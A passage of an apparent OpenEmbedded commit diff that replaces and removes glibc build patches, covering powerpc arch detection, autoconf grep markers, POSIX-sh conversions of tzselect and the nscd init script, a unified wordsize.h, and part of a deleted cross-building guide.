+Subject: [PATCH] powerpc: Do not ask compiler for finding arch
+
+This does not work well in cross compiling environments like OE
+and moreover it uses its own -mcpu/-march options via cflags
+
+Upstream-Status: Inappropriate [ OE-Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/powerpc/preconfigure | 5 +----
+ sysdeps/powerpc/preconfigure.ac | 5 +----
+ 2 files changed, 2 insertions(+), 8 deletions(-)
+
+diff --git a/sysdeps/powerpc/preconfigure b/sysdeps/powerpc/preconfigure
+index 4de94089a3..428ad7b162 100644
+--- a/sysdeps/powerpc/preconfigure
++++ b/sysdeps/powerpc/preconfigure
+@@ -29,10 +29,7 @@ esac
+ # directive which shows up, and try using it.
+ case "${machine}:${submachine}" in
+ *powerpc*:)
+- archcpu=`echo "int foo () { return 0; }" \
+- | $CC $CFLAGS $CPPFLAGS -S -frecord-gcc-switches -xc -o - - \
+- | grep -E "mcpu=|.machine" -m 1 \
+- | sed -e "s/.*machine //" -e "s/.*mcpu=\(.*\)\"/\1/"`
++ archcpu=''
+ # Note if you add patterns here you must ensure that an appropriate
+ # directory exists in sysdeps/powerpc. Likewise, if we find a
+ # cpu, don't let the generic configure append extra compiler options.
+diff --git a/sysdeps/powerpc/preconfigure.ac b/sysdeps/powerpc/preconfigure.ac
+index 6c63bd8257..3e925f1d48 100644
+--- a/sysdeps/powerpc/preconfigure.ac
++++ b/sysdeps/powerpc/preconfigure.ac
+@@ -29,10 +29,7 @@ esac
+ # directive which shows up, and try using it.
+ case "${machine}:${submachine}" in
+ *powerpc*:)
+- archcpu=`echo "int foo () { return 0; }" \
+- | $CC $CFLAGS $CPPFLAGS -S -frecord-gcc-switches -xc -o - - \
+- | grep -E "mcpu=|[.]machine" -m 1 \
+- | sed -e "s/.*machine //" -e "s/.*mcpu=\(.*\)\"/\1/"`
++ archcpu=''
+ # Note if you add patterns here you must ensure that an appropriate
+ # directory exists in sysdeps/powerpc. Likewise, if we find a
+ # cpu, don't let the generic configure append extra compiler options.
diff --git a/meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch b/meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch
deleted file mode 100644
index 04a9bf01c4..0000000000
--- a/meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch
+++ /dev/null
@@ -1,263 +0,0 @@
-From 17a602b89cbe53a5a92d0153ccb013a737f028cb Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:31:06 +0000
-Subject: [PATCH 15/29] 'yes' within the path sets wrong config variables
-
-It seems that the 'AC_EGREP_CPP(yes...' example is quite popular
-but being such a short word to grep it is likely to produce
-false-positive matches with the path it is configured into.
-
-The change is to use a more elaborated string to grep for.
-
-Upstream-Status: Submitted [libc-alpha@sourceware.org]
-
-Signed-off-by: Benjamin Esquivel <benjamin.esquivel@linux.intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/aarch64/configure | 4 ++--
- sysdeps/aarch64/configure.ac | 4 ++--
- sysdeps/arm/configure | 4 ++--
- sysdeps/arm/configure.ac | 4 ++--
- sysdeps/mips/configure | 4 ++--
- sysdeps/mips/configure.ac | 4 ++--
- sysdeps/nios2/configure | 4 ++--
- sysdeps/nios2/configure.ac | 4 ++--
- sysdeps/unix/sysv/linux/mips/configure | 4 ++--
- sysdeps/unix/sysv/linux/mips/configure.ac | 4 ++--
- sysdeps/unix/sysv/linux/powerpc/powerpc64/configure | 8 ++++----
- sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac | 8 ++++----
- 12 files changed, 28 insertions(+), 28 deletions(-)
-
-diff --git a/sysdeps/aarch64/configure b/sysdeps/aarch64/configure
-index ac3cf6fd36..32add94df9 100644
---- a/sysdeps/aarch64/configure
-+++ b/sysdeps/aarch64/configure
-@@ -148,12 +148,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef __AARCH64EB__
-- yes
-+ is_aarch64_be
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "is_aarch64_be" >/dev/null 2>&1; then :
- libc_cv_aarch64_be=yes
- else
- libc_cv_aarch64_be=no
-diff --git a/sysdeps/aarch64/configure.ac b/sysdeps/aarch64/configure.ac
-index 8b042d6d05..3cdd262951 100644
---- a/sysdeps/aarch64/configure.ac
-+++ b/sysdeps/aarch64/configure.ac
-@@ -10,8 +10,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
- # the dynamic linker via %ifdef.
- AC_CACHE_CHECK([for big endian],
- [libc_cv_aarch64_be],
-- [AC_EGREP_CPP(yes,[#ifdef __AARCH64EB__
-- yes
-+ [AC_EGREP_CPP(is_aarch64_be,[#ifdef __AARCH64EB__
-+ is_aarch64_be
- #endif
- ], libc_cv_aarch64_be=yes, libc_cv_aarch64_be=no)])
- if test $libc_cv_aarch64_be = yes; then
-diff --git a/sysdeps/arm/configure b/sysdeps/arm/configure
-index 431e843b2b..e152461138 100644
---- a/sysdeps/arm/configure
-+++ b/sysdeps/arm/configure
-@@ -151,12 +151,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef __ARM_PCS_VFP
-- yes
-+ use_arm_pcs_vfp
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_arm_pcs_vfp" >/dev/null 2>&1; then :
- libc_cv_arm_pcs_vfp=yes
- else
- libc_cv_arm_pcs_vfp=no
-diff --git a/sysdeps/arm/configure.ac b/sysdeps/arm/configure.ac
-index 90cdd69c75..05a262ba00 100644
---- a/sysdeps/arm/configure.ac
-+++ b/sysdeps/arm/configure.ac
-@@ -15,8 +15,8 @@ AC_DEFINE(PI_STATIC_AND_HIDDEN)
- # the dynamic linker via %ifdef.
- AC_CACHE_CHECK([whether the compiler is using the ARM hard-float ABI],
- [libc_cv_arm_pcs_vfp],
-- [AC_EGREP_CPP(yes,[#ifdef __ARM_PCS_VFP
-- yes
-+ [AC_EGREP_CPP(use_arm_pcs_vfp,[#ifdef __ARM_PCS_VFP
-+ use_arm_pcs_vfp
- #endif
- ], libc_cv_arm_pcs_vfp=yes, libc_cv_arm_pcs_vfp=no)])
- if test $libc_cv_arm_pcs_vfp = yes; then
-diff --git a/sysdeps/mips/configure b/sysdeps/mips/configure
-index 4e13248c03..f14af952d0 100644
---- a/sysdeps/mips/configure
-+++ b/sysdeps/mips/configure
-@@ -143,11 +143,11 @@ else
- /* end confdefs.h. */
- dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
- libc_cv_mips_nan2008=yes
- else
- libc_cv_mips_nan2008=no
-diff --git a/sysdeps/mips/configure.ac b/sysdeps/mips/configure.ac
-index bcbdaffd9f..ad3057f4cc 100644
---- a/sysdeps/mips/configure.ac
-+++ b/sysdeps/mips/configure.ac
-@@ -6,9 +6,9 @@ dnl position independent way.
- dnl AC_DEFINE(PI_STATIC_AND_HIDDEN)
-
- AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
-- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
-+ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
- if test x$libc_cv_mips_nan2008 = xyes; then
- AC_DEFINE(HAVE_MIPS_NAN2008)
-diff --git a/sysdeps/nios2/configure b/sysdeps/nios2/configure
-index 14c8a3a014..dde3814ef2 100644
---- a/sysdeps/nios2/configure
-+++ b/sysdeps/nios2/configure
-@@ -142,12 +142,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef __nios2_big_endian__
-- yes
-+ is_nios2_be
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "is_nios2_be" >/dev/null 2>&1; then :
- libc_cv_nios2_be=yes
- else
- libc_cv_nios2_be=no
-diff --git a/sysdeps/nios2/configure.ac b/sysdeps/nios2/configure.ac
-index f05f43802b..dc8639902d 100644
---- a/sysdeps/nios2/configure.ac
-+++ b/sysdeps/nios2/configure.ac
-@@ -4,8 +4,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
- # Nios II big endian is not yet supported.
- AC_CACHE_CHECK([for big endian],
- [libc_cv_nios2_be],
-- [AC_EGREP_CPP(yes,[#ifdef __nios2_big_endian__
-- yes
-+ [AC_EGREP_CPP(is_nios2_be,[#ifdef __nios2_big_endian__
-+ is_nios2_be
- #endif
- ], libc_cv_nios2_be=yes, libc_cv_nios2_be=no)])
- if test $libc_cv_nios2_be = yes; then
-diff --git a/sysdeps/unix/sysv/linux/mips/configure b/sysdeps/unix/sysv/linux/mips/configure
-index 25f98e0c7b..e95bfae359 100644
---- a/sysdeps/unix/sysv/linux/mips/configure
-+++ b/sysdeps/unix/sysv/linux/mips/configure
-@@ -414,11 +414,11 @@ else
- /* end confdefs.h. */
- dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
- libc_cv_mips_nan2008=yes
- else
- libc_cv_mips_nan2008=no
-diff --git a/sysdeps/unix/sysv/linux/mips/configure.ac b/sysdeps/unix/sysv/linux/mips/configure.ac
-index 3db1b32b08..f8cd375ebc 100644
---- a/sysdeps/unix/sysv/linux/mips/configure.ac
-+++ b/sysdeps/unix/sysv/linux/mips/configure.ac
-@@ -105,9 +105,9 @@ AC_COMPILE_IFELSE(
- LIBC_CONFIG_VAR([mips-mode-switch],[${libc_mips_mode_switch}])
-
- AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
-- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
-+ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
-
- libc_mips_nan=
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
-index ae7f254da4..874519000b 100644
---- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
-@@ -155,12 +155,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #if _CALL_ELF == 2
-- yes
-+ use_ppc_elfv2_abi
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_ppc_elfv2_abi" >/dev/null 2>&1; then :
- libc_cv_ppc64_elfv2_abi=yes
- else
- libc_cv_ppc64_elfv2_abi=no
-@@ -188,12 +188,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef _CALL_ELF
-- yes
-+ is_def_call_elf
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "is_def_call_elf" >/dev/null 2>&1; then :
- libc_cv_ppc64_def_call_elf=yes
- else
- libc_cv_ppc64_def_call_elf=no
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
-index f9cba6e15d..b21f72f1e4 100644
---- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
-@@ -6,8 +6,8 @@ LIBC_SLIBDIR_RTLDDIR([lib64], [lib64])
- # Define default-abi according to compiler flags.
- AC_CACHE_CHECK([whether the compiler is using the PowerPC64 ELFv2 ABI],
- [libc_cv_ppc64_elfv2_abi],
-- [AC_EGREP_CPP(yes,[#if _CALL_ELF == 2
-- yes
-+ [AC_EGREP_CPP(use_ppc_elfv2_abi,[#if _CALL_ELF == 2
-+ use_ppc_elfv2_abi
- #endif
- ], libc_cv_ppc64_elfv2_abi=yes, libc_cv_ppc64_elfv2_abi=no)])
- if test $libc_cv_ppc64_elfv2_abi = yes; then
-@@ -19,8 +19,8 @@ else
- # Compiler that do not support ELFv2 ABI does not define _CALL_ELF
- AC_CACHE_CHECK([whether the compiler defines _CALL_ELF],
- [libc_cv_ppc64_def_call_elf],
-- [AC_EGREP_CPP(yes,[#ifdef _CALL_ELF
-- yes
-+ [AC_EGREP_CPP(is_def_call_elf,[#ifdef _CALL_ELF
-+ is_def_call_elf
- #endif
- ], libc_cv_ppc64_def_call_elf=yes, libc_cv_ppc64_def_call_elf=no)])
- if test $libc_cv_ppc64_def_call_elf = no; then
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch b/meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch
deleted file mode 100644
index cd072018e5..0000000000
--- a/meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 4762386b599f5c3287310a69ad3555e0129e0c51 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:33:03 +0000
-Subject: [PATCH 16/29] timezone: re-written tzselect as posix sh
-
-To avoid the bash dependency.
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- timezone/Makefile | 2 +-
- timezone/tzselect.ksh | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/timezone/Makefile b/timezone/Makefile
-index 75f38df527..74e1ab7ff7 100644
---- a/timezone/Makefile
-+++ b/timezone/Makefile
-@@ -122,7 +122,7 @@ $(testdata)/XT%: testdata/XT%
- cp $< $@
-
- $(objpfx)tzselect: tzselect.ksh $(common-objpfx)config.make
-- sed -e 's|/bin/bash|$(BASH)|' \
-+ sed -e 's|/bin/bash|/bin/sh|' \
- -e 's|TZDIR=[^}]*|TZDIR=$(zonedir)|' \
- -e '/TZVERSION=/s|see_Makefile|"$(version)"|' \
- -e '/PKGVERSION=/s|=.*|="$(PKGVERSION)"|' \
-diff --git a/timezone/tzselect.ksh b/timezone/tzselect.ksh
-index 18fce27e24..70745f9d36 100755
---- a/timezone/tzselect.ksh
-+++ b/timezone/tzselect.ksh
-@@ -34,7 +34,7 @@ REPORT_BUGS_TO=tz@iana.org
-
- # Specify default values for environment variables if they are unset.
- : ${AWK=awk}
--: ${TZDIR=`pwd`}
-+: ${TZDIR=$(pwd)}
-
- # Output one argument as-is to standard output.
- # Safer than 'echo', which can mishandle '\' or leading '-'.
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0016-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch b/meta/recipes-core/glibc/glibc/0016-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch
new file mode 100644
index 0000000000..066c3b1ea2
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0016-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch
@@ -0,0 +1,49 @@
+From b1c374f7ede81a98f2d02def2c7ca17f1001f7cb Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 15 May 2020 17:05:45 -0700
+Subject: [PATCH] wordsize.h: Unify the header between arm and aarch64
+
+This helps OE multilibs to not sythesize this header which causes all
+kind of recursions and other issues since wordsize is fundamental header
+and ends up including itself in many case e.g. clang tidy, bpf etc.
+
+Upstream-Status: Inappropriate [ OE-Specific ]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/aarch64/bits/wordsize.h | 8 ++++++--
+ sysdeps/arm/bits/wordsize.h | 1 +
+ 2 files changed, 7 insertions(+), 2 deletions(-)
+ create mode 120000 sysdeps/arm/bits/wordsize.h
+
+diff --git a/sysdeps/aarch64/bits/wordsize.h b/sysdeps/aarch64/bits/wordsize.h
+index 118e59172d..b4b0692eb5 100644
+--- a/sysdeps/aarch64/bits/wordsize.h
++++ b/sysdeps/aarch64/bits/wordsize.h
+@@ -17,12 +17,16 @@
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+-#ifdef __LP64__
++#if defined (__aarch64__) && defined (__LP64__)
+ # define __WORDSIZE 64
+-#else
++#elif defined (__aarch64__)
+ # define __WORDSIZE 32
+ # define __WORDSIZE32_SIZE_ULONG 1
+ # define __WORDSIZE32_PTRDIFF_LONG 1
++#else
++# define __WORDSIZE 32
++# define __WORDSIZE32_SIZE_ULONG 0
++# define __WORDSIZE32_PTRDIFF_LONG 0
+ #endif
+
+ #define __WORDSIZE_TIME64_COMPAT32 0
+diff --git a/sysdeps/arm/bits/wordsize.h b/sysdeps/arm/bits/wordsize.h
+new file mode 120000
+index 0000000000..4c4a788ec2
+--- /dev/null
++++ b/sysdeps/arm/bits/wordsize.h
+@@ -0,0 +1 @@
++../../aarch64/bits/wordsize.h
+\ No newline at end of file
diff --git a/meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch b/meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch
deleted file mode 100644
index 57907fe660..0000000000
--- a/meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From dac46c07736a799fc82be03aa546b2d24c19ad78 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 31 Dec 2015 14:33:02 -0800
-Subject: [PATCH 17/29] Remove bash dependency for nscd init script
-
-The nscd init script uses #! /bin/bash but only really uses one bashism
-(translated strings), so remove them and switch the shell to #!/bin/sh.
-
-Upstream-Status: Pending
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- nscd/nscd.init | 14 +++++++-------
- 1 file changed, 7 insertions(+), 7 deletions(-)
-
-diff --git a/nscd/nscd.init b/nscd/nscd.init
-index a882da7d8b..b02986ec15 100644
---- a/nscd/nscd.init
-+++ b/nscd/nscd.init
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
- #
- # nscd: Starts the Name Switch Cache Daemon
- #
-@@ -49,7 +49,7 @@ prog=nscd
- start () {
- [ -d /var/run/nscd ] || mkdir /var/run/nscd
- [ -d /var/db/nscd ] || mkdir /var/db/nscd
-- echo -n $"Starting $prog: "
-+ echo -n "Starting $prog: "
- daemon /usr/sbin/nscd
- RETVAL=$?
- echo
-@@ -58,7 +58,7 @@ start () {
- }
-
- stop () {
-- echo -n $"Stopping $prog: "
-+ echo -n "Stopping $prog: "
- /usr/sbin/nscd -K
- RETVAL=$?
- if [ $RETVAL -eq 0 ]; then
-@@ -67,9 +67,9 @@ stop () {
- # a non-privileged user
- rm -f /var/run/nscd/nscd.pid
- rm -f /var/run/nscd/socket
-- success $"$prog shutdown"
-+ success "$prog shutdown"
- else
-- failure $"$prog shutdown"
-+ failure "$prog shutdown"
- fi
- echo
- return $RETVAL
-@@ -103,13 +103,13 @@ case "$1" in
- RETVAL=$?
- ;;
- force-reload | reload)
-- echo -n $"Reloading $prog: "
-+ echo -n "Reloading $prog: "
- killproc /usr/sbin/nscd -HUP
- RETVAL=$?
- echo
- ;;
- *)
-- echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
-+ echo "Usage: $0 {start|stop|status|restart|reload|condrestart}"
- RETVAL=1
- ;;
- esac
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0017-Replace-echo-with-printf-builtin-in-nscd-init-script.patch b/meta/recipes-core/glibc/glibc/0017-Replace-echo-with-printf-builtin-in-nscd-init-script.patch
new file mode 100644
index 0000000000..d8c0b1b4ad
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0017-Replace-echo-with-printf-builtin-in-nscd-init-script.patch
@@ -0,0 +1,79 @@
+From 0aac3b8ee5b13e289b6969da51de384443286a5b Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 31 Dec 2015 14:33:02 -0800
+Subject: [PATCH] Replace echo with printf builtin in nscd init script
+
+The nscd init script calls for #! /bin/bash interpreter
+since it uses bash specific extentions namely (translated strings)
+and echo -n command, replace echo with printf and
+switch the shell interpreter to #!/bin/sh.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ nscd/nscd.init | 20 ++++++++++----------
+ 1 file changed, 10 insertions(+), 10 deletions(-)
+
+diff --git a/nscd/nscd.init b/nscd/nscd.init
+index a882da7d8b..857b541381 100644
+--- a/nscd/nscd.init
++++ b/nscd/nscd.init
+@@ -1,4 +1,4 @@
+-#!/bin/bash
++#!/bin/sh
+ #
+ # nscd: Starts the Name Switch Cache Daemon
+ #
+@@ -49,16 +49,16 @@ prog=nscd
+ start () {
+ [ -d /var/run/nscd ] || mkdir /var/run/nscd
+ [ -d /var/db/nscd ] || mkdir /var/db/nscd
+- echo -n $"Starting $prog: "
++ printf "Starting $prog: "
+ daemon /usr/sbin/nscd
+ RETVAL=$?
+- echo
++ printf "\n"
+ [ $RETVAL -eq 0 ] && touch /var/lock/subsys/nscd
+ return $RETVAL
+ }
+
+ stop () {
+- echo -n $"Stopping $prog: "
++ printf "Stopping $prog: "
+ /usr/sbin/nscd -K
+ RETVAL=$?
+ if [ $RETVAL -eq 0 ]; then
+@@ -67,11 +67,11 @@ stop () {
+ # a non-privileged user
+ rm -f /var/run/nscd/nscd.pid
+ rm -f /var/run/nscd/socket
+- success $"$prog shutdown"
++ success "$prog shutdown"
+ else
+- failure $"$prog shutdown"
++ failure "$prog shutdown"
+ fi
+- echo
++ printf "\n"
+ return $RETVAL
+ }
+
+@@ -103,13 +103,13 @@ case "$1" in
+ RETVAL=$?
+ ;;
+ force-reload | reload)
+- echo -n $"Reloading $prog: "
++ printf "Reloading $prog: "
+ killproc /usr/sbin/nscd -HUP
+ RETVAL=$?
+- echo
++ printf "\n"
+ ;;
+ *)
+- echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
++ printf "Usage: $0 {start|stop|status|restart|reload|condrestart}\n"
+ RETVAL=1
+ ;;
+ esac
diff --git a/meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch b/meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch
deleted file mode 100644
index 58d41ffe04..0000000000
--- a/meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch
+++ /dev/null
@@ -1,619 +0,0 @@
-From 0bd1dedf77194151397c53b12e0355c2edb8bccc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:42:58 +0000
-Subject: [PATCH 18/29] eglibc: Cross building and testing instructions
-
-Ported from eglibc
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- GLIBC.cross-building | 383 +++++++++++++++++++++++++++++++++++++++++++
- GLIBC.cross-testing | 205 +++++++++++++++++++++++
- 2 files changed, 588 insertions(+)
- create mode 100644 GLIBC.cross-building
- create mode 100644 GLIBC.cross-testing
-
-diff --git a/GLIBC.cross-building b/GLIBC.cross-building
-new file mode 100644
-index 0000000000..e6e0da1aaf
---- /dev/null
-+++ b/GLIBC.cross-building
-@@ -0,0 +1,383 @@
-+ -*- mode: text -*-
-+
-+ Cross-Compiling GLIBC
-+ Jim Blandy <jimb@codesourcery.com>
-+
-+
-+Introduction
-+
-+Most GNU tools have a simple build procedure: you run their
-+'configure' script, and then you run 'make'. Unfortunately, the
-+process of cross-compiling the GNU C library is quite a bit more
-+involved:
-+
-+1) Build a cross-compiler, with certain facilities disabled.
-+
-+2) Configure the C library using the compiler you built in step 1).
-+ Build a few of the C run-time object files, but not the rest of the
-+ library. Install the library's header files and the run-time
-+ object files, and create a dummy libc.so.
-+
-+3) Build a second cross-compiler, using the header files and object
-+ files you installed in step 2.
-+
-+4) Configure, build, and install a fresh C library, using the compiler
-+ built in step 3.
-+
-+5) Build a third cross-compiler, based on the C library built in step 4.
-+
-+The reason for this complexity is that, although GCC and the GNU C
-+library are distributed separately, they are not actually independent
-+of each other: GCC requires the C library's headers and some object
-+files to compile its own libraries, while the C library depends on
-+GCC's libraries. GLIBC includes features and bug fixes to the stock
-+GNU C library that simplify this process, but the fundamental
-+interdependency stands.
-+
-+In this document, we explain how to cross-compile an GLIBC/GCC pair
-+from source. Our intended audience is developers who are already
-+familiar with the GNU toolchain and comfortable working with
-+cross-development tools. While we do present a worked example to
-+accompany the explanation, for clarity's sake we do not cover many of
-+the options available to cross-toolchain users.
-+
-+
-+Preparation
-+
-+GLIBC requires recent versions of the GNU binutils, GCC, and the
-+Linux kernel. The web page <http://www.eglibc.org/prerequisites>
-+documents the current requirements, and lists patches needed for
-+certain target architectures. As of this writing, these build
-+instructions have been tested with binutils 2.22.51, GCC 4.6.2,
-+and Linux 3.1.
-+
-+First, let's set some variables, to simplify later commands. We'll
-+build GLIBC and GCC for an ARM target, known to the Linux kernel
-+as 'arm', and we'll do the build on an Intel x86_64 Linux box:
-+
-+ $ build=x86_64-pc-linux-gnu
-+ $ host=$build
-+ $ target=arm-none-linux-gnueabi
-+ $ linux_arch=arm
-+
-+We're using the aforementioned versions of Binutils, GCC, and Linux:
-+
-+ $ binutilsv=binutils-2.22.51
-+ $ gccv=gcc-4.6.2
-+ $ linuxv=linux-3.1
-+
-+We're carrying out the entire process under '~/cross-build', which
-+contains unpacked source trees for binutils, gcc, and linux kernel,
-+along with GLIBC svn trunk (which can be checked-out with
-+'svn co http://www.eglibc.org/svn/trunk eglibc'):
-+
-+ $ top=$HOME/cross-build/$target
-+ $ src=$HOME/cross-build/src
-+ $ ls $src
-+ binutils-2.22.51 glibc gcc-4.6.2 linux-3.1
-+
-+We're going to place our build directories in a subdirectory 'obj',
-+we'll install the cross-development toolchain in 'tools', and we'll
-+place our sysroot (containing files to be installed on the target
-+system) in 'sysroot':
-+
-+ $ obj=$top/obj
-+ $ tools=$top/tools
-+ $ sysroot=$top/sysroot
-+
-+
-+Binutils
-+
-+Configuring and building binutils for the target is straightforward:
-+
-+ $ mkdir -p $obj/binutils
-+ $ cd $obj/binutils
-+ $ $src/$binutilsv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --with-sysroot=$sysroot
-+ $ make
-+ $ make install
-+
-+
-+The First GCC
-+
-+For our work, we need a cross-compiler targeting an ARM Linux
-+system. However, that configuration includes the shared library
-+'libgcc_s.so', which is compiled against the GLIBC headers (which we
-+haven't installed yet) and linked against 'libc.so' (which we haven't
-+built yet).
-+
-+Fortunately, there are configuration options for GCC which tell it not
-+to build 'libgcc_s.so'. The '--without-headers' option is supposed to
-+take care of this, but its implementation is incomplete, so you must
-+also configure with the '--with-newlib' option. While '--with-newlib'
-+appears to mean "Use the Newlib C library", its effect is to tell the
-+GCC build machinery, "Don't assume there is a C library available."
-+
-+We also need to disable some of the libraries that would normally be
-+built along with GCC, and specify that only the compiler for the C
-+language is needed.
-+
-+So, we create a build directory, configure, make, and install.
-+
-+ $ mkdir -p $obj/gcc1
-+ $ cd $obj/gcc1
-+ $ $src/$gccv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --without-headers --with-newlib \
-+ > --disable-shared --disable-threads --disable-libssp \
-+ > --disable-libgomp --disable-libmudflap --disable-libquadmath \
-+ > --disable-decimal-float --disable-libffi \
-+ > --enable-languages=c
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install
-+
-+
-+Linux Kernel Headers
-+
-+To configure GLIBC, we also need Linux kernel headers in place.
-+Fortunately, the Linux makefiles have a target that installs them for
-+us. Since the process does modify the source tree a bit, we make a
-+copy first:
-+
-+ $ cp -r $src/$linuxv $obj/linux
-+ $ cd $obj/linux
-+
-+Now we're ready to install the headers into the sysroot:
-+
-+ $ PATH=$tools/bin:$PATH \
-+ > make headers_install \
-+ > ARCH=$linux_arch CROSS_COMPILE=$target- \
-+ > INSTALL_HDR_PATH=$sysroot/usr
-+
-+
-+GLIBC Headers and Preliminary Objects
-+
-+Using the cross-compiler we've just built, we can now configure GLIBC
-+well enough to install the headers and build the object files that the
-+full cross-compiler will need:
-+
-+ $ mkdir -p $obj/glibc-headers
-+ $ cd $obj/glibc-headers
-+ $ BUILD_CC=gcc \
-+ > CC=$tools/bin/$target-gcc \
-+ > CXX=$tools/bin/$target-g++ \
-+ > AR=$tools/bin/$target-ar \
